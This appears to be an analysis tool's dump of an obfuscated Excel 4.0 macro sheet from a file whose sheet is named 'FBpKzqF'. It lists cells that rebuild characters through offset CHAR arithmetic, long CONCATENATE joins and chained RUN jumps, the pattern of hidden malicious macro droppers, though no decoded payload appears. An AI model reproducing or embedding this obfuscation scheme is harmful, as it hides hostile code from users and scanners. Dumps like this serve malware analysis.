'  FBpKzqF,IY1512,"",823.00000000000000000000
'  FBpKzqF,CC1513,CHAR(HO1099-738),""
'  FBpKzqF,U1514,"",7.00000000000000000000
'  FBpKzqF,CC1514,RUN(EL1635),""
'  FBpKzqF,GJ1514,"",953.00000000000000000000
'  FBpKzqF,EM1515,RUN(CD1456),""
'  FBpKzqF,DZ1516,RUN(GO94),""
'  FBpKzqF,DJ1518,RUN(EB1827),""
'  FBpKzqF,R1521,"",45.00000000000000000000
'  FBpKzqF,BT1527,"",951.00000000000000000000
'  FBpKzqF,EN1528,"",39.00000000000000000000
'  FBpKzqF,FU1531,"",334.00000000000000000000
'  FBpKzqF,FW1556,RUN(FG971),""
'  FBpKzqF,FH1557,CHAR(CX925-738),""
'  FBpKzqF,FH1558,RUN(DO899),""
'  FBpKzqF,IM1561,"",14.00000000000000000000
'  FBpKzqF,FP1562,CHAR(DV1080-738),""
'  FBpKzqF,FP1563,RUN(HJ34),""
'  FBpKzqF,HR1563,CONCATENATE(ED1805),""
'  FBpKzqF,BX1566,CHAR(EG1213-738),""
'  FBpKzqF,BX1567,RUN(CJ1470),""
'  FBpKzqF,A1569,RUN(HX1355),""
'  FBpKzqF,HO1571,RUN(CD935),""
'  FBpKzqF,P1574,"",9.00000000000000000000
'  FBpKzqF,CN1575,"",29.00000000000000000000
'  FBpKzqF,DI1578,"",35.00000000000000000000
'  FBpKzqF,GW1581,CHAR(HR836-852),""
'  FBpKzqF,JH1585,CHAR(HR429-738),""
'  FBpKzqF,BQ1586,"",818.00000000000000000000
'  FBpKzqF,JH1586,RUN(ES759),""
'  FBpKzqF,ET1587,"CONCATENATE(M1234,HR1563)",""
'  FBpKzqF,FU1587,"",79.00000000000000000000
'  FBpKzqF,IU1587,RUN(GE1634),""
'  FBpKzqF,BE1590,"",59.00000000000000000000
'  FBpKzqF,EA1592,"",72.00000000000000000000
'  FBpKzqF,H1594,"",320.00000000000000000000
'  FBpKzqF,IG1594,CHAR(DA1977-852),""
'  FBpKzqF,BO1596,"",857.00000000000000000000
'  FBpKzqF,CT1601,CHAR(DS840-242),""
'  FBpKzqF,CU1601,"",94.00000000000000000000
'  FBpKzqF,CD1606,"CONCATENATE(CE833,L1111,X1378,FH1557,DO899,GT1869,DC1804,DF459,ES1448,FG543,BY485,GB974,GX403,IW1315,IN1962,HB1178,GH1936,GG1968,Y941,FL1149,DP930,JH1585,ES759,BM925,CB80,BR127,DS1912,CB1281,IV1476)",""
'  FBpKzqF,CG1607,CHAR(DM391-738),""
'  FBpKzqF,CG1608,RUN(BT374),""
'  FBpKzqF,L1614,"",18.00000000000000000000
'  FBpKzqF,BX1614,"",841.00000000000000000000
'  FBpKzqF,HP1621,RUN(DK1198),""
'  FBpKzqF,GV1622,"",29.00000000000000000000
'  FBpKzqF,JC1623,RUN(BV1859),""
'  FBpKzqF,CI1631,"",96.00000000000000000000
'  FBpKzqF,GE1634,RUN(JO1654),""
'  FBpKzqF,EL1635,CHAR(CE1332-738),""
'  FBpKzqF,EL1636,RUN(EF696),""
'  FBpKzqF,IA1639,RUN(FY1201),""
'  FBpKzqF,CG1640,"",37.00000000000000000000
'  FBpKzqF,CZ1649,CHAR(IL894-675),""
'  FBpKzqF,C1651,"",857.00000000000000000000
'  FBpKzqF,P1652,CHAR(FL457-242),""
'  FBpKzqF,DZ1653,CHAR(IQ1929-738),""
'  FBpKzqF,DZ1654,RUN(FP1562),""
'  FBpKzqF,JO1654,RUN(DI1292),""
'  FBpKzqF,FY1659,"",82.00000000000000000000
'  FBpKzqF,HR1659,"",68.00000000000000000000
'  FBpKzqF,JA1664,"",10.00000000000000000000
'  FBpKzqF,GZ1669,"",79.00000000000000000000
'  FBpKzqF,EI1678,CHAR(K1905-242),""
'  FBpKzqF,GS1678,"",96.00000000000000000000
'  FBpKzqF,JN1678,"",71.00000000000000000000
'  FBpKzqF,F1687,"",60.00000000000000000000
'  FBpKzqF,JG1689,CHAR(JI455-738),""
'  FBpKzqF,JK1689,"",13.00000000000000000000
'  FBpKzqF,JG1690,RUN(IE872),""
'  FBpKzqF,JK1692,"",29.00000000000000000000
'  FBpKzqF,DH1703,"",86.00000000000000000000
'  FBpKzqF,JJ1703,"",60.00000000000000000000
'  FBpKzqF,BE1705,"",8.00000000000000000000
'  FBpKzqF,Y1708,"",67.00000000000000000000
'  FBpKzqF,IX1711,RUN(ID526),""
'  FBpKzqF,CJ1712,"",917.00000000000000000000
'  FBpKzqF,GX1718,"",55.00000000000000000000
'  FBpKzqF,CW1722,"",7.00000000000000000000
'  FBpKzqF,HE1730,"",726.00000000000000000000
'  FBpKzqF,FZ1731,CHAR(IY1512-738),""
'  FBpKzqF,FZ1732,RUN(GS1835),""
'  FBpKzqF,DA1739,"",18.00000000000000000000
'  FBpKzqF,JB1739,RUN(GH442),""
'  FBpKzqF,JL1744,"",343.00000000000000000000
'  FBpKzqF,G1752,"",849.00000000000000000000
'  FBpKzqF,BD1762,"",316.00000000000000000000
'  FBpKzqF,FM1771,"",38.00000000000000000000
'  FBpKzqF,L1772,CONCATENATE(BI1889),""
'  FBpKzqF,HJ1772,CHAR(CL1355-738),""
'  FBpKzqF,HJ1773,RUN(DZ1653),""
'  FBpKzqF,JI1774,CHAR(CW585-852),""
'  FBpKzqF,FS1782,"",340.00000000000000000000
'  FBpKzqF,CV1784,RUN(BS1486),""
'  FBpKzqF,DD1786,RUN(HP1621),""
'  FBpKzqF,BX1794,"",323.00000000000000000000
'  FBpKzqF,BB1798,"",50.00000000000000000000
'  FBpKzqF,HL1798,RUN(JN1924),""
'  FBpKzqF,DG1801,RUN(G1487),""
'  FBpKzqF,DJ1802,"",66.00000000000000000000
'  FBpKzqF,M1804,RUN(H1266),""
'  FBpKzqF,DC1804,CHAR(IN72-738),""
'  FBpKzqF,DC1805,RUN(DF459),""
'  FBpKzqF,ED1805,CHAR(JL1744-242),""
'  FBpKzqF,CR1812,CHAR(FX374-675),""
'  FBpKzqF,ED1817,"",969.00000000000000000000
'  FBpKzqF,DY1824,"",85.00000000000000000000
'  FBpKzqF,FG1826,CHAR(CN293-738),""
'  FBpKzqF,BH1827,"",10.00000000000000000000
'  FBpKzqF,EB1827,RUN(IF1491),""
'  FBpKzqF,FG1827,RUN(FV511),""
'  FBpKzqF,JO1831,CHAR(HY1375-242),""
'  FBpKzqF,CH1832,"",76.00000000000000000000
'  FBpKzqF,GS1835,CHAR(BQ1586-738),""
'  FBpKzqF,GS1836,RUN(IH169),""
'  FBpKzqF,HS1841,"",936.00000000000000000000
'  FBpKzqF,W1853,CHAR(IF709-852),""
'  FBpKzqF,HZ1853,"",92.00000000000000000000
'  FBpKzqF,EH1858,"",66.00000000000000000000
'  FBpKzqF,HG1858,CHAR(JJ675-852),""
'  FBpKzqF,BV1859,RUN(JB1739),""
'  FBpKzqF,CI1859,"",835.00000000000000000000
'  FBpKzqF,GT1869,CHAR(JK76-738),""
'  FBpKzqF,IL1869,"",850.00000000000000000000
'  FBpKzqF,GT1870,RUN(DC1804),""
'  FBpKzqF,CF1874,CHAR(FB318-242),""
'  FBpKzqF,CS1884,"",29.00000000000000000000
'  FBpKzqF,BJ1885,RUN(HO1571),""
'  FBpKzqF,BI1889,"CONCATENATE(CQ1142,HZ1072,CU790,CY1212,DI299,DF1971,JF1372)",""
'  FBpKzqF,O1890,"",74.00000000000000000000
'  FBpKzqF,CF1892,CHAR(FA645-852),""
'  FBpKzqF,HH1894,"",10.00000000000000000000
'  FBpKzqF,DU1896,"",817.00000000000000000000
'  FBpKzqF,DD1899,"",54.00000000000000000000
'  FBpKzqF,DQ1899,CHAR(CK1978-242),""
'  FBpKzqF,FC1902,"",20.00000000000000000000
'  FBpKzqF,DG1903,RUN(IL947),""
'  FBpKzqF,DO1903,"",74.00000000000000000000
'  FBpKzqF,ES1903,RUN(FG700),""
'  FBpKzqF,K1905,"",331.00000000000000000000
'  FBpKzqF,DS1912,CHAR(IG112-738),""
'  FBpKzqF,DS1913,RUN(CB1281),""
'  FBpKzqF,FS1918,"",99.00000000000000000000
'  FBpKzqF,JN1924,RUN(GR1185),""
'  FBpKzqF,J1928,"",11.00000000000000000000
'  FBpKzqF,IE1929,"",949.00000000000000000000
'  FBpKzqF,IQ1929,"",785.00000000000000000000
'  FBpKzqF,EZ1932,RUN(JC1623),""
'  FBpKzqF,HS1933,"",309.00000000000000000000
'  FBpKzqF,JG1934,"",85.00000000000000000000
'  FBpKzqF,CS1935,"",49.00000000000000000000
'  FBpKzqF,GQ1935,"",350.00000000000000000000
'  FBpKzqF,JB1935,"",34.00000000000000000000
'  FBpKzqF,GH1936,CHAR(IX524-738),""
'  FBpKzqF,BN1937,"",94.00000000000000000000
'  FBpKzqF,FA1937,"",953.00000000000000000000
'  FBpKzqF,GH1937,RUN(GG1968),""
'  FBpKzqF,IS1939,"",26.00000000000000000000
'  FBpKzqF,GA1940,"",67.00000000000000000000
'  FBpKzqF,JL1940,"",50.00000000000000000000
'  FBpKzqF,IX1941,"",16.00000000000000000000
'  FBpKzqF,M1946,"CONCATENATE(GO113,JK1122,DC844,HG1858,JI1774,EJ1957,FJ217,FB743,GA184,CR193,CK1956,CS916,CF1892,IZ398,GW1581,IG1594,IZ831,FK770)",""
'  FBpKzqF,DI1947,"",72.00000000000000000000
'  FBpKzqF,FM1947,"",783.00000000000000000000
'  FBpKzqF,DA1951,RUN(FI759),""
'  FBpKzqF,EM1955,"",46.00000000000000000000
'  FBpKzqF,CK1956,CHAR(JJ1096-852),""
'  FBpKzqF,L1957,"",20.00000000000000000000
'  FBpKzqF,EJ1957,CHAR(DM1489-852),""
'  FBpKzqF,IN1962,CHAR(BF1355-738),""
'  FBpKzqF,IN1963,RUN(HB1178),""
'  FBpKzqF,L1967,"",62.00000000000000000000
'  FBpKzqF,HY1967,RUN(DV693),""
'  FBpKzqF,GG1968,CHAR(FQ1059-738),""
'  FBpKzqF,GG1969,RUN(Y941),""
'  FBpKzqF,DF1971,CHAR(HE1730-675),""
'  FBpKzqF,DA1977,"",960.00000000000000000000
'  FBpKzqF,CK1978,"",321.00000000000000000000
'  FBpKzqF,EP1978,"",43.00000000000000000000
'  FBpKzqF,DU1984,"",55.00000000000000000000
'  FBpKzqF,Q1987,RUN(IH1198),""
'  FBpKzqF,EV1991,CHAR(HL301-852),""
'  FBpKzqF,Z1994,"",752.00000000000000000000